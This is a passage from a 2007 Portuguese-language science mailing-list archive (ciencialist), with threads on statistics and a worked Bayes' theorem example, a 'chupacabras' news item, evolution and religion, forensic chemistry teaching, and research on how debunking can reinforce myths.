moderadas e 1 não têm dificuldade nenhuma com estatística.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Robespierre B. Gonçalves
> Eu nunca gostei das aulas de estatísticas na faculdade.
> Além do que, pode-se usá-la para defender qualquer argumento.
> Mas tenho 100% de certeza que 78,8% irão comcordar comigo, muito
> embora qu ache que 23% serão criteriosos na análise e 5% terão mais
> dificuldade para endender esta frase.



SUBJECT: Solução para a crise aérea?
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 14:10

Solução para a crise aérea?...

http://g1.globo.com/Noticias/Mundo/0,,MUL98566-5602,00.html


SUBJECT: site sobre as mentiras da INTERNET
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 04/09/2007 14:26

Esse é o sitio fornece alguns esclarecimentos quando uma notícia é
verdadeira ou não, tipo: batom com chumbo, guaraná faz mal, criança
desaparecida, motores com 100% de rendimento, vírus novo, etc.
www.quatrocantos.com/lendas



























Flickr agora em português. Você clica, todo mundo vê. Saiba mais.


SUBJECT: Re: [ciencialist] site sobre as mentiras da INTERNET
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 14:56

Isso deveria ser desnecessário já que a ciencia tem tanta confiança e seus
métodos, não é?

sds

Em 04/09/07, Esteban Moreno <estebanlmoreno@gmail.com> escreveu:
>
> Esse é o sitio fornece alguns esclarecimentos quando uma notícia é
> verdadeira ou não, tipo: batom com chumbo, guaraná faz mal, criança
> desaparecida, motores com 100% de rendimento, vírus novo, etc.
> www.quatrocantos.com/lendas
>
> Flickr agora em português. Você clica, todo mundo vê. Saiba mais.
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 15:47

'Chupacabras' são encontrados mortos em fazenda do Texas
http://g1.globo.com/Noticias/PlanetaBizarro/0,,MUL97683-6091,00.html
--------------------
Falam 'chupacabras' no plural, mas não sei se são mais de um.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 16:07

Pode ser mutação genética?

sds

Em 04/09/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> 'Chupacabras' são encontrados mortos em fazenda do Texas
> http://g1.globo.com/Noticias/PlanetaBizarro/0,,MUL97683-6091,00.html
> --------------------
> Falam 'chupacabras' no plural, mas não sei se são mais de um.
>
> []s,
>
> Roberto Takata
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 17:28

--- Em ciencialist@yahoogrupos.com.br, "Amauri N. Sanches Jr "
> Pode ser mutação genética?

Pode.

[]s,

Roberto Takata



SUBJECT: Re: site sobre as mentiras da INTERNET
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 17:31

--- Em ciencialist@yahoogrupos.com.br, "Amauri N. Sanches Jr "
> Isso deveria ser desnecessário já que a ciencia tem tanta confiança
> e seus métodos, não é?

Seria desnecessário se as pessoas tivessem uma melhor alfabetização
científica.

O sítio pretende esclarecer os leigos e não dizer como os cientistas
devem trabalhar.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 17:37

Por algo radioativo ou químico?

sds

Em 04/09/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Amauri N. Sanches Jr "
> > Pode ser mutação genética?
>
> Pode.
>
> []s,
>
> Roberto Takata
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 17:40

--- Em ciencialist@yahoogrupos.com.br, "Amauri N. Sanches Jr "
> Por algo radioativo ou químico?

Poder pode.

(Se é provável, é outra história.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 18:02

com a radioatividade não desenvolvemos o tumor? por que não pode ser
provável?

sds

Em 04/09/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Amauri N. Sanches Jr "
> > Por algo radioativo ou químico?
>
> Poder pode.
>
> (Se é provável, é outra história.)
>
> []s,
>
> Roberto Takata
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 18:24

--- Em ciencialist@yahoogrupos.com.br, "Amauri N. Sanches Jr "
> com a radioatividade não desenvolvemos o tumor?

Pode ocorrer. Depende de vários fatores. (Veja q por outro lado,
usa-se radiação para se tratar certos tumores - radioterapia.)

> por que não pode ser provável?

Eu não disse isso. Eu falei: "se é provável (q seja mutação induzida
por radiação ou agentes químicos) é outra história".

"Poder não ser provável" é diferente de "não poder ser provável".

[]s,

Roberto Takata



SUBJECT: Re: Terra
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 19:25

----- Original Message -----
From: "Robespierre B. Gonçalves"
Sent: Tuesday, September 04, 2007 12:17 PM
Subject: [ciencialist] Re: Terra

> Eu nunca gostei das aulas de estatísticas na faculdade. Além do que,
> pode-se usá-la para defender qualquer argumento.

Caro Pierre

Eu diria que, muito provavelmente, você não teve bons professores de
estatística e que também não chegou a conhecer um bom livro de
estatística e escrito num linguajar condizente com os conhecimentos
próprios do estudante universitário médio. Isso não é exceção e sim a
regra (creio que mais de 90% dos professores ou livros são como falei
acima), logo você não está longe de traduzir o pensamento médio e que
acontece nas melhores universidades do Brasil e do mundo, ainda que
esteja totalmente errado.

Pode-se usar tanto a estatística como a ciência, a filosofia, a
política, a matemática, o direito etc, para defender qualquer
argumento, mas isso não quer dizer que a estatística, a ciência, a
filosofia, a política, a matemática, o direito etc não prestam, mas
sim que estão sendo mal utilizados, às vezes até mesmo de maneira
criminosa. Ali Babá, por exemplo, costuma dizer que não tem a menor
idéia do que fizeram os 40 ladrões e defende seus argumentos
utilizando acessores que apóiam seus argumentos em disciplinas como
aquelas acima citadas. Quando a ética vai para o espaço, qualquer
disciplina presta-se a defender qualquer argumento e recaímos na
"árvore da ciência" ou a "árvore do bem e do mal" (numa interpretação
um tanto quanto diversa daquela que normalmente lhe emprestamos).

> Mas tenho 100% de certeza que 78,8% irão comcordar comigo, muito
> embora qu ache que 23% serão criteriosos na análise e 5% terão mais
> dificuldade para endender esta frase.

A soma está dando mais do que 100%, logo deve estar havendo um
cruzamento dessas três populações. Do contrário eu diria que você
realmente tem ojeriza pela estatística ;-).

PS: Não sou especialista em estatística, apenas alguém que um dia já
precisou apoiar seus argumentos numa "boa" estatística e que acabou
aprendendo-a por conta própria.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Por falar em estatística
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 20:16

Já que falaram em estatística
[ http://br.groups.yahoo.com/group/ciencialist/message/65120 e
http://br.groups.yahoo.com/group/ciencialist/message/65133 ], vou
apresentar um probleminha que saiu no Scientific American (versão em
inglês) de abril de 2007, p. 108. Tomei a liberdade de traduzir, mas
conservo o original abaixo.

Tome o seguinte exemplo. Um paciente vai ao médico para um "checkup".
O médico sabe que um dos exames que ele solicita tem um índice de
confiança de 99%, ou seja, 99 por cento das pessoas doentes têm o
resultado positivo e 99 por cento das pessoas normais tem o resultado
negativo. O médico sabe também que somente 1% da população é doente. A
questão é a seguinte: Se o paciente tem o resultado positivo, quais
são as chances do paciente estar doente? A resposta intuitiva é 99%,
mas a resposta correta é realmente 50%. O teorema de Bayes relaciona a
probabilidade de estar doente, dado um resultado positivo, p(d|+), à
probabilidade de receber um resultado positivo por um doente, p(+|d),
e à probabilidade geral de estar doente, p(d), à probabilidade geral
de obter um resultado positivo, p(+). (O cálculo desta última
probabilidade é deixado ao leitor.) O teorema de Bayes, neste caso,
seria lido assim: p(d|+) = p(+|d).p(s) / p(+).

O problema está lançado e, até mesmo, com resolução e resposta. Não
obstante, o problema que coloco é o seguinte: Como explicar ao leigo
em estatística que a solução é essa mesma, 50%, sem lançar mão da
fórmula que decorre do teorema de Bayes?

Elementar, meu caro Watson. Imagine, por simplicidade, que tenhamos
uma população de 10.000 pessoas (o número poderia ter sido outro, até
mesmo x, mas foi escolhido propositalmente para tornar a resolução
mais didática).

Ora, se 1% dessa população é doente, concluímos que o número de
doentes é igual a 100 (1% de 10000). Logo, o número de não-doentes, ou
normais quanto ao mal em questão, é igual a 9.900. Imaginamos fazer o
exame em todos os 10.000 habitantes e esperamos obter os seguintes
resultados.

Em 100 doentes teremos 99 com resultado positivo no exame e 1 com
resultado negativo, pois p(+|d) = probabilidade de ser positivo sendo
doente = 99% = 0,99.

Em 9.900 normais teremos 99 com resultado positivo no exame e 9.801
com resultado negativo, pois p(+|n) = probabilidade de ser positivo
sendo normal = 1% = 0,01.

Consequentemente, em 10.000 habitantes teremos 198 (99 + 99)
habitantes com resultado positivo. Destes 198 com resultado positivo,
metade são normais e metade doente. Logo, se o paciente que fez o
checkup teve um resultado positivo, a chance dele estar doente é
realmente igual a 50% e não os 99% que o autor do texto considerou
como a resposta intuitiva [será intuitiva tão somente para aqueles que
estão confundindo p(d|+) com p(+|d) e desprezando os demais dados do
problema].

Moral da história: Nem tudo o que é óbvio é certo, mas tudo o que é
certo tem um lado óbvio.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.

PS: O texto original é o seguinte:

Take the following example. A patient goes to see a doctor for a
checkup. The doctor knows a test he performs has 99 percent
reliability-that is, 99 percent of sick people test positive, and 99
percent of healthy people test negative. The doctor also knows that
only 1 percent of the population is sick. Now the question is: If the
patient tests positive, what are the chances the patient is sick? The
intuitive answer is 99 percent, but the correct answer is actually 50
percent. Bayes' theorem relates the probability of being sick given a
positive test result, p(s|+), to the probability of receiving a
positive test result given that one is sick, p(+|s), and to the
general probability of being sick, p(s), and the general probability
of getting a positive result, p(+). (Calculating the last probability
is left to the reader.) Bayes' theorem in this case would read p(s|+)
= p(+|s).p(s) / p(+).




SUBJECT: RE: [ciencialist] [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/09/2007 22:15


Chupacobras, aquí em SP tem muito... montão!
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] As plataformas de desenvolvimento
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/09/2007 10:45

Projeto Brasil, 04-09-2007

As plataformas de desenvolvimento

"Conta Britto Cruz que já existem empresas na web cujo negócio
consiste em oferecer essa conexão entre o pesquisador e a empresa.
Ambos se inscrevem, a empresa apresenta o desafio e o pesquisador a
proposta.

Principal teórico da guinada que ocorreu no meio acadêmico, que passou
a assimilar a importância da pesquisa, ao lado da formação e da
extensão, Britto Cruz sempre defendeu que inovação tem que se dar não
âmbito das empresas. É muito mais produtiva a empresa que monta e
gerencia seus projetos de pesquisa e inovação, e contrata
desenvolvimentos específicos na Universidade.

Cassinelli concorda com essa visão. A Braskem tem 150 pessoas no seu
departamento, 27 doutores e mestres, 25 bolsistas de doutorado e
mestrado incentivados pela empresa a trabalhar na Universidade em
linhas determinadas de pesquisa." (trecho)
http://www.projetobr.com.br/web/blog/6#4137
------------
[]s,

Roberto Takata



SUBJECT: O ser humano é uma besta quadrada
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/09/2007 13:16

Reflexões sobre gorilas, seres humanos e genocídio: http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: O ser humano é uma besta quadrada
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/09/2007 15:26

Eu sou um pouco mais otimista.

Estamos menos idiotas, na média, do q antes. (O problema é q o
potencial de dano de nossas idiotices aumentou bem mais do q nossa
idiotice diminuiu.)

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Reflexões sobre gorilas, seres humanos e genocídio:
http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html




SUBJECT: Re: Por falar em estatística
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/09/2007 17:08

--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> Já que falaram em estatística

Aproveitando o ensejo (em outras palavras, não sei se já postaram
aqui, mas vou postar mesmo assim), um artigo (também em inglês) sobre
a notícia que correu mundo, que homens preferem o azul, cor do
glorioso Grêmio FBPA, e mulhers rosinha e a cor do Internacional Sport
Club de Porto Alegre:

http://www.badscience.net/?p=518

Destaque para a diversidade na China.

O cara parece se divertir em criticar informações que os jornalistas
passam para seu público afirmando serem "dados científicos":

http://www.guardian.co.uk/science/series/badscience

[]s
--



SUBJECT: Ciência Forense na escola
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist Yahoo Grupos <ciencialist@yahoogrupos.com.br>
CC: quimicavirtual@yahoogrupos.com.br, "qu�mica - grupos.com.br" <quimica@grupos.com.br>, "qu�mica" qaw <quimica-qaw@yahoogrupos.com.br>
DATE: 05/09/2007 17:27

Caros amigos,

Na semana passada foi convidado pelo curso de Licenciatura em Química da Universidade de Caxias do Sul (UCS) para palestrar na Semanda Acadêmica do CCET (Centro de Ciências Exatas e Tecnologia) sobre os aspectos da química presentes na Ciência Forense.

Após a apresentação (1) tratei de falar sobre como trazer para sala de aula este tema. Se tiverem interesse no assunto, abaixo coloque o link para acessar os artigos do Journal Of Chemical Education que utilizei como exemplos:

JONES, K. F. The Strange Case of Mole Airlines Flight 1023. Journal Of Chemical Education, Vol. 80, n. 4, April 2003.
http://www.quimica.net/emiliano/especiais/cienciaforense/texto1.pdf

BERGSLIEN, E. Teaching To Avoid the “CSI Effect”. Journal Of Chemical Education, Vol. 83, n. 5, May 2006.
http://www.quimica.net/emiliano/especiais/cienciaforense/texto2.pdf

[ ]'s do Prof. Emiliano Chemello

(1) Apresentação do PowerPoint disponível em: http://www.quimica.net/emiliano/especiais/cienciaforense/

Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O ser humano é uma besta quadrada
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/09/2007 17:59

> Reflexões sobre gorilas, seres humanos e genocídio: http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html

Textos de militância ateísta devem ser encaminhados à listas de
discussões adequadas.

Grato,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: P/ Marcus - Re: O ser humano é uma besta quadrada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/09/2007 19:03

Olá Marcus

Marcus: "Textos de militância ateísta devem ser encaminhados à listas
de discussões adequadas."

Desculpe, mas me pareceu um texto sobre ciência, e não militância
ateísta. A teoria da evolução, parte da biologia, é ciência, em sua
forma mais pura, e é totalmente derivada de evidências e experimentos.

O fato de que o texto foi inspirado pela ação de crentes contra esta
teoria, não muda este fato. Na verdade, o artigo defende a ciência da
ação, daninha e fora de propósito, da crença.

O artigo ainda apresenta um enfoque ecológico, sobre preservação da
natureza, e até toca a filosofia em alguns momentos, com considerações
mais subjetivas. Mas sempre embasado na ciência e em dados e
conhecimento científico.

A descendência de ancestrais em comum é um fato, e chamamos esse fato
de evolução. Nenhum biólogo discute ou duvida da evolução, apenas
discutem e debatem os mecanismos que permitiram essa evolução, um
deles chamado de teoria darwiniana, que defende a seleção natural como
o mecanismo mais importante (mas não o único) do processo.

Observe ainda que compreender a evolução, não implica em ser ateu,
pois é perfeitamente possível acreditar que esta foi o modo que a
divindade escolheu para agir neste universo (e na verdade é o que
fazem os religiosos mais esclarecidos e racionais).

Portanto, nem mesmo a defesa da teoria darwiniana se apresenta como
militância ateísta de nenhuma forma possível.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> > Reflexões sobre gorilas, seres humanos e genocídio:
http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html
>
> Textos de militância ateísta devem ser encaminhados à listas de
> discussões adequadas.
>
> Grato,
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>




SUBJECT: RE: [ciencialist] [RN] EL 'CHUPACABRAS' MORTO EM TEXAS
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/09/2007 20:13


Bom, já que passou, deixe-me completar:
os chupacobras, como todas as espécies, ocorrem dois em gêneros opostos, ou seja, femininos e masculinos...
Por uma razão desconhecida, sua reprodução é reduzidíssima e dificultosa. Apesar disso, estão muito longe da extinção, um aparente paradoxo...:)
( as partes desta mensagem que não continham textos foram removidas )> Subject: RE: [ciencialist] [RN] EL 'CHUPACABRAS' MORTO EM TEXAS> > > Chupacobras, aquí em SP tem muito... montão!
> [As partes desta mensagem que não continham texto foram removidas]>> >

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O ser humano é uma besta quadrada
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/09/2007 10:12

Caro Marcos,

Não entendo que meu texto seja de militância ateísta. Por um lado, embora eu
não acredite em um deus antropomórfico, não sou exatamente ateu. Sou apenas
um cético. Por outro lado, minha intenção era apenas contrapor a irritação
que alguns sentem em relação à teoria da evolução ao fato de que nós, seres
humanos, não nos comportamos como animais verdadeiramente evoluídos, ao
menos no sentido leigo da palavra.

Abraços,

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



----- Original Message -----
From: "Marcos Ludwig" <reinada@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, September 05, 2007 5:59 PM
Subject: Re: [ciencialist] O ser humano é uma besta quadrada


> Reflexões sobre gorilas, seres humanos e genocídio:
> http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html

Textos de militância ateísta devem ser encaminhados à listas de
discussões adequadas.

Grato,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]




SUBJECT: Re: [ciencialist] Re: O ser humano é uma besta quadrada
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/09/2007 17:03

Existe um livro muito interessante sobre como o mau uso de nossas
ferramentas , (tecnológicas, institucionais, culturais, etc) passa
batido na nossa visão engessada do dia-a-dia, que aprendemos a
não-questionar, desde a infância. Estou lendo, e estou gostando . Meio
radical, mas levanta pontos muito importantes (se vão ser levados em
conta ou não, são outros 500).:)
Quem tiver tempo:

http://opencollector.org/history/homebrew/tools.html

Gil
Em 05/09/07, rmtakata<roberto.takata@bol.com.br> escreveu:
> Eu sou um pouco mais otimista.
>
> Estamos menos idiotas, na média, do q antes. (O problema é q o
> potencial de dano de nossas idiotices aumentou bem mais do q nossa
> idiotice diminuiu.)
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> > Reflexões sobre gorilas, seres humanos e genocídio:
> http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html
>
>
>
>
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> Página de apoio
> http://www.ciencialist.com
>
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> Links do Yahoo! Grupos
>
>
>


SUBJECT: Identificação Humana
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 06/09/2007 17:57

Caros amigos, em especial ao Takata,

Sabe-se que o exame de ADN permite que se faça a distinção de indivíduos, salvo quando os mesmos são gêmeos idênticos. Minha pergunta é: estes gêmeos possuem o mesmo padrão de estriamento nas impressões digitais? Se não, como isto seria possível, já que geneticamente eles são idênticos? Gostaria também de referências sobre o assunto.

[ ]'s do Prof. Emiliano


Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Marcus - Re: O ser humano é uma besta quadrada
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/09/2007 18:39

Caro Homero,

Fico feliz que você tenha entendido o meu texto.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, September 05, 2007 7:03 PM
Subject: [ciencialist] P/ Marcus - Re: O ser humano é uma besta quadrada


Olá Marcus

Marcus: "Textos de militância ateísta devem ser encaminhados à listas
de discussões adequadas."

Desculpe, mas me pareceu um texto sobre ciência, e não militância
ateísta. A teoria da evolução, parte da biologia, é ciência, em sua
forma mais pura, e é totalmente derivada de evidências e experimentos.

O fato de que o texto foi inspirado pela ação de crentes contra esta
teoria, não muda este fato. Na verdade, o artigo defende a ciência da
ação, daninha e fora de propósito, da crença.

O artigo ainda apresenta um enfoque ecológico, sobre preservação da
natureza, e até toca a filosofia em alguns momentos, com considerações
mais subjetivas. Mas sempre embasado na ciência e em dados e
conhecimento científico.

A descendência de ancestrais em comum é um fato, e chamamos esse fato
de evolução. Nenhum biólogo discute ou duvida da evolução, apenas
discutem e debatem os mecanismos que permitiram essa evolução, um
deles chamado de teoria darwiniana, que defende a seleção natural como
o mecanismo mais importante (mas não o único) do processo.

Observe ainda que compreender a evolução, não implica em ser ateu,
pois é perfeitamente possível acreditar que esta foi o modo que a
divindade escolheu para agir neste universo (e na verdade é o que
fazem os religiosos mais esclarecidos e racionais).

Portanto, nem mesmo a defesa da teoria darwiniana se apresenta como
militância ateísta de nenhuma forma possível.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> > Reflexões sobre gorilas, seres humanos e genocídio:
http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.html
>
> Textos de militância ateísta devem ser encaminhados à listas de
> discussões adequadas.
>
> Grato,
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
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SUBJECT: [ciencialist] O ser humano é uma besta quadrada
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/09/2007 19:14

Caro Álvaro,



Tenho algo a dizer sobre o texto: é equilibrado e objetivo, aliás, como tudo
que você escreve.

Não sei onde o grande Marcos enxergou algo que desse a entender, sequer de
longe, que você estava praticando uma militância ateísta.

Parabéns, mais uma vez, pelo interessante e instrutivo texto.



Sds,

Victor.



Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>

----- Original Message -----
From: "Marcos Ludwig" <reinada@gmail.com <mailto:reinada%40gmail.com> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Wednesday, September 05, 2007 5:59 PM
Subject: Re: [ciencialist] O ser humano é uma besta quadrada

> Reflexões sobre gorilas, seres humanos e genocídio:
>
http://alvaroaugusto.blogspot.com/2007/09/o-ser-humano-uma-besta-quadrada.ht
ml

Textos de militância ateísta devem ser encaminhados à listas de
discussões adequadas.

Grato,
--
Marcos Ludwig
[ marcosludwig@gmail.com <mailto:marcosludwig%40gmail.com> (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]





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SUBJECT: Como (não) desbancar mitos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 06/09/2007 22:04

Como (não) desbancar mitos <http://www.ceticismoaberto.com/news/?p=970>


Se você quiser desbancar um mito, você o cita claramente, e então mostra
como é falso, certo? Certo. Mas o Washington Post publicou um excelente
artigo (em inglês)<http://www.washingtonpost.com/wp-dyn/content/article/2007/09/03/AR2007090300933_pf.html>detalhando
pesquisas recentes mostrando que:

Negações e esclarecimentos, apesar de todo seu apelo intuitivo,
paradoxalmente podem contribuir para a persistência de mitos populares … A
repetição parece ser a principal culpada. Coisas repetidas com freqüência
tendem a ser mais acessíveis à memória, e uma das regras de funcionamento do
cérebro é a de que coisas facilmente lembradas são verdadeiras …
Experimentos por Ruth Mayo, psicóloga social cognitiva da Hebrew University
em Jerusalém, também mostraram que para uma porção significativa das
pessoas, o "rótulo de negação" de uma negativa desvenasce com o tempo.

Isto é, ao citar um mito, ainda que para contrariá-lo, você ajuda a
promovê-lo. A resposta seria então o silêncio?

Infelizmente, a resposta a essa questão também parece ser não. Outro estudo
recente descobriu que quando acusações ou afirmações são recebidas com
silência, é mais provável que sejam percebidas como verdadeiras.

Uma solução possível seria…

Mayo notou que ao invés de negar uma alegação falsa, é melhor fazer uma
afirmação completamente nova que não faça referência ao mito original.

Mas a pesquisadore também reconheceu que a afirmação nova pode acabar sendo
inacurada de certa forma, uma vez que busca negar algo sem ao menos
mencioná-lo, e pode não ser uma alternativa em alguns casos.
Infelizmente, tais estudos reforçam que a informação voltada ao público em
geral deve ser cuidadosamente construída. A ponto de que os detalhes e
minúcias de uma questão podem bem acabar sendo impossíveis de abordar de
forma ampla. Os estudos, originais em inglês no formato PDF, podem ser
baixados aqui<http://sitemaker.umich.edu/norbert.schwarz/files/07_aep_schwarz_et_al_setting-people-straight.pdf>,
aqui <http://www.apa.org/journals/releases/psp925821.pdf> e
aqui<http://pluto.mscc.huji.ac.il/%7Emschul/yaacov_schul_files/2004-mayo&schul&burnstein-neg.pdf>
.
